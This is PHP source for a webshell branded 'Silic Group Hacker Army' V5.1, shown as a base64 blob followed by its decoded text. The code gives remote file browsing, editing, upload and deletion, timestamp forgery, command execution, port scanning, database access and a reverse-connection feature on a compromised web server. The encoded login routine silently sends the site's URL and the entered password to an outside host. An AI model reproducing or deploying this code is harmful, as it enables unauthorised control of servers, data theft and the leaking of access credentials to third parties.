WxzZTsNCgkJCX0NCgkJCS8vtLDM5Q0KCQkJZnVuY3Rpb24gV2luTWFpbigpDQoJCQl7DQoJCQkJJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw0KCQkJCSRTZXJ2ZXJfT1MgPSBQSFBfT1M7DQoJCQkJJFNlcnZlcl9Tb2Z0ID0gJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdOw0KCQkJCXByaW50PDw8RU5EDQo8aHRtbD48aGVhZD48dGl0bGU+U2lsaWMgR3JvdXAgSGFja2VyIEFybXkgLSBCbGFja0JhcC5Pcmc8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCip7cGFkZGluZzowOyBtYXJnaW46MDt9DQpib2R5e2JhY2tncm91bmQ6I0FBQUFBQTtmb250LWZhbWlseToiVmVyZGFuYSIsICJUYWhvbWEiLCLLzszlIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6NXB4O3dvcmQtYnJlYWs6YnJlYWstYWxsO30NCmF7Y29sb3I6I0ZGRkZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2JhY2tncm91bmQ6I0JCQkJCQjt9DQoub3V0dGFibGV7bWFyZ2luOiAwIGF1dG87aGVpZ2h0OjU5NXB4O3dpZHRoOjk1NXB4O2NvbG9yOiMwMDAwMDA7Ym9yZGVyLXRvcC13aWR0aDogMnB4O2JvcmRlci1yaWdodC13aWR0aDoycHg7Ym9yZGVyLWJvdHRvbS13aWR0aDogMnB4O2JvcmRlci1sZWZ0LXdpZHRoOiAycHg7Ym9yZGVyLXRvcC1zdHlsZTogb3V0c2V0O2JvcmRlci1yaWdodC1zdHlsZTogb3V0c2V0O2JvcmRlci1ib3R0b20tc3R5bGU6IG91dHNldDtib3JkZXItbGVmdC1zdHlsZTogb3V0c2V0O2JvcmRlci10b3AtY29sb3I6ICNGRkZGRkY7Ym9yZGVyLXJpZ2h0LWNvbG9yOiAjOGM4YzhjO2JvcmRlci1ib3R0b20tY29sb3I6ICM4YzhjOGM7Ym9yZGVyLWxlZnQtY29sb3I6ICNGRkZGRkY7YmFja2dyb3VuZC1jb2xvcjogdGhyZWVkZmFjZTt9DQoudG9wYmd7cGFkZGluZy10b3A6M3B4O2ZvbnQtc2l6ZToxMnB4O3RleHQtYWxpZ246bGVmdDtmb250LXdlaWdodDpib2xkO2hlaWdodDoyMnB4O3dpZHRoOjk1MHB4O2NvbG9yOiNGRkZGRkY7YmFja2dyb3VuZDojMjkzRjVGO30NCi5saXN0Ymd7Zm9udC1mYW1pbHk6J2x1Y2lkYSBncmFuZGUnLHRhaG9tYSxoZWx2ZXRpY2EsYXJpYWwsJ2JpdHN0cmVhbSB2ZXJhIHNhbnMnLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7d2lkdGg6MTMwcHg7fQ0KLmxpc3RiZyBsaXtwYWRkaW5nOjNweDtjb2xvcjojMDAwMDAwO2hlaWdodDoyNXB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjZweDt0ZXh0LWluZGVudDowcHg7fQ0KLmxpc3RiZyBsaSBhe3BhZGRpbmctdG9wOjJweDtiYWNrZ3JvdW5kOiNCQkJCQkI7Y29sb3I6IzAwMDAwMDtoZWlnaHQ6MjVweDtkaXNwbGF5OmJsb2NrO2xpbmUtaGVpZ2h0OjI0cHg7dGV4dC1pbmRlbnQ6MHB4O2JvcmRlci1jb2xvcjojOTk5OTk5ICM5OTk5OTkgIzk5OTk5OSAjOTk5OTk5O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O3RleHQtZGVjb3JhdGlvbjpub25lO30NCi5mb290ZXJ7cGFkZGluZy10b3A6M3B4O3RleHQtYWxpZ246IGNlbnRlcjtmb250LXNpemU6MTJweDtmb250LXdlaWdodDogYm9sZDtoZWlnaHQ6MjBweDt3aWR0aDo5NTBweDtjb2xvcjojMDAwMDAwO2JhY2tncm91bmQ6ICM4ODg4ODg7fQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPg0KZnVuY3Rpb24gc3dpdGNoVGFiKHRhYmlkKQ0Kew0KaWYodGFiaWQgPT0gJycpIHJldHVybiBmYWxzZTsNCmZvcih2YXIgaT0wO2k8PTE1O2krKykNCnsNCglpZih0YWJpZCA9PSAndF8nK2kpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmlkKS5zdHlsZS5iYWNrZ3JvdW5kPSIjRkZGRkZGIjsNCgllbHNlIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0XycraSkuc3R5bGUuYmFja2dyb3VuZD0iI0JCQkJCQiI7DQp9DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGNsYXNzPSJvdXR0YWJsZSI+DQo8ZGl2IGNsYXNzPSJ0b3BiZyI+Jm5ic3A7PGEgaHJlZj0iP3M9bG9nb3V0IiB0aXRsZT0izcuz9iI+JiM4ODU3OzwvYT4mbmJzcDsmIzg4NTc7Jm5ic3A7PGEgaHJlZj0iP3M9Y2giIHRhcmdldD0ibWFpbiIgdGl0bGU9Irj8uMTD3MLrIj4mIzg4NTc7PC9hPiZuYnNwO3skU2VydmVyX0lQfSAtIHskU2VydmVyX09TfSAtIHskU2VydmVyX1NvZnR9PC9kaXY+DQoJPGRpdiBzdHlsZT0iaGVpZ2h0OjU0NnB4OyI+DQoJCTx0YWJsZSB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBib3JkZXI9MCBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCQk8dHI+PHRkIHdpZHRoPSIxNDAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj4NCgkJCTx1bCBjbGFzcz0ibGlzdGJnIj4NCjxsaT48YSBocmVmPSI/cz1hIiBpZD0idF8wIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMCcpIiBzdHlsZT0iYmFja2dyb3VuZDojRkZGRkZGOyIgdGFyZ2V0PSJtYWluIj7OxLz+udzA7TwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWciIGlkPSJ0XzEiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xJykiIHRhcmdldD0ibWFpbiI+1rTQ0MP8we48L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1pIiBpZD0idF8yIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMicpIiB0YXJnZXQ9Im1haW4iPsmow+i2y7/aPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9ZiIgaWQ9InRfMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzMnKSIgdGFyZ2V0PSJtYWluIj7Ptc2z0MXPojwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPW4iIGlkPSJ0XzQiIG9uY2xpY2s9InN3aXRjaFRhYigndF80JykiIHRhcmdldD0ibWFpbiI+TVlTUUzWtNDQPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9byIgaWQ9InRfNSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzUnKSIgdGFyZ2V0PSJtYWluIj5NWVNRTLncwO08L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1wcSIgaWQ9InRfNiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzYnKSIgdGFyZ2V0PSJtYWluIj5Qb3N0Z3JlU1FMPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9Z2ciIGlkPSJ0XzciIG9uY2xpY2s9InN3aXRjaFRhYigndF83JykiIHRhcmdldD0ibWFpbiI+xuTL/Mr9vt2/4jwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWUiIGlkPSJ0XzgiIG9uY2xpY2s9InN3aXRjaFRhYigndF84JykiIHRhcmdldD0ibWFpbiI+yajD6MS+wu08L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1qIiBpZD0idF85IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfOScpIiB0YXJnZXQ9Im1haW4iPsvRy/fOxLz+PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9ZCIgaWQ9InRfMTAiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMCcpIiB0YXJnZXQ9Im1haW4iPsX6wb/M5ru7PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9bCIgaWQ9InRfMTEiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMScpIiB0YXJnZXQ9Im1haW4iPlNlcnZVzOHIqDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWprIiBpZD0idF8xMiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEyJykiIHRhcmdldD0ibWFpbiI+V2lu1+m8/jwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWRkIiBpZD0idF8xMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEzJykiIHRhcmdldD0ibWFpbiI+t7S1r8GsvdM8L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1mZiIgaWQ9InRfMTQiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xNCcpIiB0YXJnZXQ9Im1haW4iPta00NBwaHC0+sLrPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9emEiIGlkPSJ0XzE1IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMTUnKSIgdGFyZ2V0PSJtYWluIj5aSVC94tG5PC9hPjwvbGk+PC91bD48L3RkPjx0ZD4NCjxpZnJhbWUgbmFtZT0ibWFpbiIgc3JjPSI/cz1hIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGNsYXNzPSJmb290ZXIiPlN0YXRlOiBQb3dlcmVkIEJ5IDxhIGhyZWY9Imh0dHA6Ly9ibGFja2JhcC5vcmcvIiB0YXJnZXQ9Il9ibGFuayI+U2lsaWMgR3JvdXA8L2E+IFsgaHR0cDovL2JsYWNrYmFwLm9yZyBdIC0gV2Vic2hlbGwgVjUuMTwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+DQpFTkQ7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9DQoJCS8qtcfCvc/gudi94cr4Ki8NCgkJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCgkJew0KCQkJJF9HRVQgPSBSb290X0dQKCRfR0VUKTsNCgkJCSRfUE9TVCA9IFJvb3RfR1AoJF9QT1NUKTsNCgkJfQ0KDQpmdW5jdGlvbiBQdXJsKCkNCnsNCiAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgIGlmICgkX1NFUlZFUlsiSFRUUFMiXSA9PSAib24iKQ0KICAgIHsNCiAgICAgICAgJHBhZ2VVUkwgLj0gInMiOw0KICAgIH0NCiAgICAkcGFnZVVSTCAuPSAiOi8vIjsNCg0KICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKQ0KICAgIHsNCiAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0gLiAiOiIgLiAkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkcGFnZVVSTCAuPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAgIH0NCiAgICByZXR1cm4gJHBhZ2VVUkw7DQp9DQokR0VUVVJMPVB1cmwoKTsNCg0KCQlpZigkX0NPT0tJRVsnYWRtaW5fc2lsaWNwYXNzJ10gIT0gbWQ1KCRwYXNzd29yZCkpDQoJCXsNCgkJCW9iX3N0YXJ0KCk7DQoJCQkkTVNHX1RPUCA9ICdMT0dJTic7DQoJCQlpZihpc3NldCgkcGFzc3QpKQ0KCQkJew0KCQkJCSRjb29raWV0aW1lID0gdGltZSgpICsgMjQgKiAzNjAwOw0KCQkJCXNldGNvb2tpZSgnYWRtaW5fc2lsaWNwYXNzJyxtZDUoJHBhc3N0KSwkY29va2lldGltZSk7DQoJCQkJDQoJCQkJDQoJCQkJaWYobWQ1KCRwYXNzdCkgPT0gbWQ1KCRwYXNzd29yZCkpew0KCQkJCQlmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy4xOTM3LnByby8vaW5kZXgucGhwL2luZGV4L2FwaS9hZGQ/dXJsPXskR0VUVVJMfSZwPXskcHN3fSIpOw0KCQkJCQlkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT8iPicpO30NCgkJCQllbHNleyRNU0dfVE9QID0gJ1BBU1MgSVMgRkFMU0UnO30NCgkJCX0NCgkJCVJvb3RfTG9naW4oJE1TR19UT1ApOw0KCQkJb2JfZW5kX2ZsdXNoKCk7DQoJCQlleGl0Ow0KCQl9DQoJCWlmKGlzc2V0KCRfR0VUWydzJ10pKXskcyA9ICRfR0VUWydzJ107aWYoJHMgIT0gJ2EnICYmICRzICE9ICduJylSb290X0NTUygpO31lbHNleyRzID0gJ015TmFtZUlzSGFja2VyJzt9DQoJCSRwID0gaXNzZXQoJF9HRVRbJ3AnXSkgPyAkX0dFVFsncCddIDogRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykpOw0KCQlzd2l0Y2goJHMpew0KCQkJY2FzZSJhIjpGaWxlX2EoJHApO2JyZWFrOw0KCQkJY2FzZSJkIjpUaWh1YW5fZCgpO2JyZWFrOw0KCQkJY2FzZSJlIjpBbnRpdmlydXNfZSgpO2JyZWFrOw0KCQkJY2FzZSJmIjpJbmZvX2YoKTticmVhazsNCgkJCWNhc2UiZyI6RXhlY19nKCk7YnJlYWs7DQoJCQljYXNlImkiOlBvcnRfaSgpO2JyZWFrOw0KCQkJY2FzZSJqIjpGaW5kZmlsZV9qKCk7YnJlYWs7DQoJCQljYXNlImprIjp3aW5zaGVsbCgpO2JyZWFrOw0KCQkJY2FzZSJsIjpTZXJ2dV9sKCk7YnJlYWs7DQoJCQljYXNlIm4iOk15c3FsX24oKTticmVhazsNCgkJCWNhc2UibyI6TXlzcWxfbygpO2JyZWFrOw0KCQkJY2FzZSJwIjpGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10pOyBicmVhazsNCgkJCWNhc2UicHEiOlBncl9zcWwoKTsgYnJlYWs7DQoJCQljYXNlInEiOkZpbGVfU291cCgkcCk7IGJyZWFrOw0KCQkJY2FzZSJyIjpNeXNxbF9Nc2coKTsgYnJlYWs7DQoJCQljYXNlImRkIjpiYWNrY29ubigpO2JyZWFrOw0KCQkJY2FzZSJmZiI6cGhwY29kZSgpO2JyZWFrOw0KCQkJY2FzZSJnZyI6b3RoZXJkYigpO2JyZWFrOw0KCQkJY2FzZSJ6YSI6emlwYWN0KCk7YnJlYWs7DQoJCQlkZWZhdWx0Oldpbk1haW4oKTticmVhazsNCgkJfQ0K'));} 
---------------------Decode End---------------------------------- 
---------------------Decode Start-------------------------------- 
error_reporting(E_ERROR); 
header("content-Type: text/html; charset=gbk"); 
set_time_limit(0); 
function Root_GP(&$array) 
{ 
	while(list($key,$var) = each($array)) 
	{ 
		if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv') 
		{ 
			if(is_string($var)) $array[$key] = stripslashes($var); 
			if(is_array($var)) $array[$key] = Root_GP($var); 
		} 
	} 
	return $array; 
} 
$salt = "myshell"; 
$psw = trim($_POST['silicpass']); 
$password = "86fd56167e9b46c94ed1076e1407c9e0"; 
$passt = $salt.$psw; 
$passt = md5(md5(md5($passt))); 
$asse='asert'; 
function Root_CSS() 
{ 
	print<<<END 
<style type="text/css"> 
*{padding:0; margin:0;} 
body{background:threedface;font-family:"Verdana","Tahoma","",sans-serif;font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} 
a{color:#000000;text-decoration:none;} 
a:hover{background:#BBBBBB;} 
table{color:#000000;font-family:"Verdana","Tahoma","",sans-serif;font-size:13px;border:1px solid #999999;} 
td{background:#F9F6F4;} 
.toptd{background:threedface;width:310px;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;} 
.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} 
.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} 
.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;} 
</style>\n 
END; 
	return false; 
} 
// 
class packdir 
{ 
	var $out=''; 
	var $datasec=array(); 
	var $ctrl_dir=array(); 
	var $eof_ctrl_dir="PK\x05\x06\x00\x00\x00\x00"; 
	var $old_offset=0; 
	function packdir($array) 
	{ 
		if(@function_exists('gzcompress')) 
		{ 
			for($n = 0;$n < count($array);$n++) 
			{ 
				$array[$n] = urldecode($array[$n]); 
				$fp = @fopen($array[$n], 'r'); 
				$filecode = @fread($fp, @filesize($array[$n])); 
				@fclose($fp); 
				$this -> filezip($filecode,basename($array[$n])); 
			} 
			@closedir($zhizhen); 
			$this->out = $this->packfile(); 
			return true; 
		} 
		return false; 
	} 
 
	function at($atunix = 0) 
	{ 
		$unixarr = ($atunix == 0) ? getdate() : getdate($atunix); 
		if ($unixarr['year'] < 1980) 
		{ 
			$unixarr['year']    = 1980; 
			$unixarr['mon']     = 1; 
			$unixarr['mday']    = 1; 
			$unixarr['hours']   = 0; 
			$unixarr['minutes'] = 0; 
			$unixarr['seconds'] = 0; 
		} 
		return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); 
	} 
	function filezip($data, $name, $time = 0) 
	{ 
		$name = str_replace('\\', '/', $name); 
		$dtime = dechex($this->at($time)); 
		$hexdtime	= '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; 
		eval('$hexdtime = "' . $hexdtime . '";'); 
		$fr	= "PK\x03\x04"; 
		$fr	.= "\x14\x00"; 
		$fr	.= "\x00\x00"; 
		$fr	.= "\x08\x00"; 
		$fr	.= $hexdtime; 
		$unc_len = strlen($data); 
		$crc = crc32($data); 
		$zdata = gzcompress($data); 
		$c_len = strlen($zdata); 
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); 
		$fr .= pack('V', $crc); 
		$fr .= pack('V', $c_len); 
		$fr .= pack('V', $unc_len); 
		$fr .= pack('v', strlen($name)); 
		$fr .= pack('v', 0); 
		$fr .= $name; 
		$fr .= $zdata; 
		$fr .= pack('V', $crc); 
		$fr .= pack('V', $c_len); 
		$fr .= pack('V', $unc_len); 
		$this -> datasec[] = $fr; 
		$new_offset = strlen(implode('', $this->datasec)); 
		$cdrec = "PK\x01\x02"; 
		$cdrec .= "\x00\x00"; 
		$cdrec .= "\x14\x00"; 
		$cdrec .= "\x00\x00"; 
		$cdrec .= "\x08\x00"; 
		$cdrec .= $hexdtime; 
		$cdrec .= pack('V', $crc); 
		$cdrec .= pack('V', $c_len); 
		$cdrec .= pack('V', $unc_len); 
		$cdrec .= pack('v', strlen($name) ); 
		$cdrec .= pack('v', 0 ); 
		$cdrec .= pack('v', 0 ); 
		$cdrec .= pack('v', 0 ); 
		$cdrec .= pack('v', 0 ); 
		$cdrec .= pack('V', 32 ); 
		$cdrec .= pack('V', $this -> old_offset ); 
		$this -> old_offset = $new_offset; 
		$cdrec .= $name; 
		$this -> ctrl_dir[] = $cdrec; 
	} 
	function packfile() 
	{ 
		$data    = implode('', $this -> datasec); 
		$ctrldir = implode('', $this -> ctrl_dir); 
		return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; 
	} 
} 
function File_Str($string) 
{ 
	return str_replace('//','/',str_replace('\\','/',$string)); 
} 
function File_Size($size) 
{ 
	if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; 
	elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; 
	elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; 
	else $size = $size . ' B'; 
	return $size; 
} 
function File_Mode() 
{ 
	$RealPath = realpath('./'); 
	$SelfPath = $_SERVER['PHP_SELF']; 
	$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); 
	return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); 
} 
function File_Read($filename) 
{ 
	$handle = @fopen($filename,"rb"); 
	$filecode = @fread($handle,@filesize($filename)); 
	@fclose($handle); 
	return $filecode; 
} 
function File_Write($filename,$filecode,$filemode) 
{ 
	$key = true; 
	$handle = @fopen($filename,$filemode); 
	if(!@fwrite($handle,$filecode)) 
	{ 
		@chmod($filename,0666); 
		$key = @fwrite($handle,$filecode) ? true : false; 
	} 
	@fclose($handle); 
	return $key; 
} 
function File_Up($filea,$fileb) 
{ 
	$key = @copy($filea,$fileb) ? true : false; 
	if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; 
	return $key; 
} 
function File_Down($filename) 
{ 
	if(!file_exists($filename)) return false; 
	$filedown = basename($filename); 
	$array = explode('.', $filedown); 
	$arrayend = array_pop($array); 
	header('Content-type: application/x-'.$arrayend); 
	header('Content-Disposition: attachment; filename='.$filedown); 
	header('Content-Length: '.filesize($filename)); 
	@readfile($filename); 
	exit; 
} 
function File_Deltree($deldir) 
{ 
	if(($mydir = @opendir($deldir)) == NULL) return false; 
	while(false !== ($file = @readdir($mydir))) 
	{ 
		$name = File_Str($deldir.'/'.$file); 
		if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} 
		if(is_file($name)){@chmod($name,0777);@unlink($name);} 
	} 
	@closedir($mydir); 
	@chmod($deldir,0777); 
	return @rmdir($deldir) ? true : false; 
} 
function File_Act($array,$actall,$inver) 
{ 
	if(($count = count($array)) == 0) return ''; 
	if($actall == 'e') 
	{ 
		$zip = new packdir; 
		if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} 
		return ''; 
	} 
	$i = 0; 
	while($i < $count) 
	{ 
		$array[$i] = urldecode($array[$i]); 
		switch($actall) 
		{ 
			case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return ''; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = ''.$inver.''; break; 
			case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = ''; break; 
			case "c" : if(!eregi("^[0-7]{4}$",$inver)) return ''; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = ''.$inver; break; 
			case "d" : @touch($array[$i],strtotime($inver)); $msg = ''.$inver; break; 
		} 
		$i++; 
	} 
	return ''.$msg.''; 
} 
function File_Edit($filepath,$filename,$dim = '') 
{ 
	$THIS_DIR = urlencode($filepath); 
	$THIS_FILE = File_Str($filepath.'/'.$filename); 
	if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} 
	else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} 
	print<<<END 
<script language="javascript"> 
var NS4 = (document.layers); 
var IE4 = (document.all); 
var win = this; 
var n = 0; 
function search(str){ 
	var txt, i, found; 
	if(str == "")return false; 
	if(NS4){ 
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; 
		if(n == 0) alert(str + " ... Not-Find") 
	} 
	if(IE4){ 
		txt = win.document.body.createTextRange(); 
		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ 
			txt.moveStart("character", 1); 
			txt.moveEnd("textedit") 
		} 
		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} 
		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} 
	} 
	return false 
} 
function CheckDate(){ 
	var re = document.getElementById('mtime').value; 
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
	var r = re.match(reg); 
	if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;} 
	else{document.getElementById('editor').submit();} 
} 
</script> 
<div class="actall">: <input name="searchs" type="text" value="{$dim}" style="width:500px;"> 
<input type="button" value="" onclick="search(searchs.value)"></div> 
<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}"> 
<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div> 
<div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div> 
<div class="actall"> <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div> 
<div class="actall"><input type="button" value="" onclick="CheckDate();" style="width:80px;"> 
<input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div> 
</form> 
END; 
} 
function File_Soup($p) 
{ 
	$THIS_DIR = urlencode($p); 
	$UP_SIZE = get_cfg_var('upload_max_filesize'); 
	$MSG_BOX = ':'.$UP_SIZE.', (new.php),,.'; 
	if(!empty($_POST['updir'])) 
	{ 
		if(count($_FILES['soup']) >= 1) 
		{ 
			$i = 0; 
			foreach ($_FILES['soup']['error'] as $key => $error) 
			{ 
				if ($error == UPLOAD_ERR_OK) 
				{ 
					$souptmp = $_FILES['soup']['tmp_name'][$key]; 
					if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; 
					$MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'' : $soupname.''; 
				} 
				$i++; 
			} 
		} 
		else 
		{ 
			$MSG_BOX = ''; 
		} 
	} 
	print<<<END 
<div class="msgbox">{$MSG_BOX}</div> 
<form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data"> 
<div class="actall">: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div> 
<div class="actall">1 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div> 
<div class="actall">2 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div> 
<div class="actall">3 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div> 
<div class="actall">4 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div> 
<div class="actall">5 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div> 
<div class="actall">6 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div> 
<div class="actall">7 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div> 
<div class="actall">8 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div> 
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div> 
</form> 
END; 
} 
function File_a($p) 
{ 
	if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; 
	$MSG_BOX = ''; 
	$UP_DIR = urlencode(File_Str($p.'/..')); 
	$REAL_DIR = File_Str(realpath($p)); 
	$FILE_DIR = File_Str(dirname(__FILE__)); 
	$ROOT_DIR = File_Mode(); 
	$THIS_DIR = urlencode(File_Str($REAL_DIR)); 
	$NUM_D = 0; 
	$NUM_F = 0; 
	if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? ' '.$_POST['pfn'].' ' : ' '.$_POST['pfn'].' ';@touch($_POST['pfn'],$intime);} 
	if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? ' '.$upfilename.' ' : ' '.$upfilename.' ';} 
	if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} 
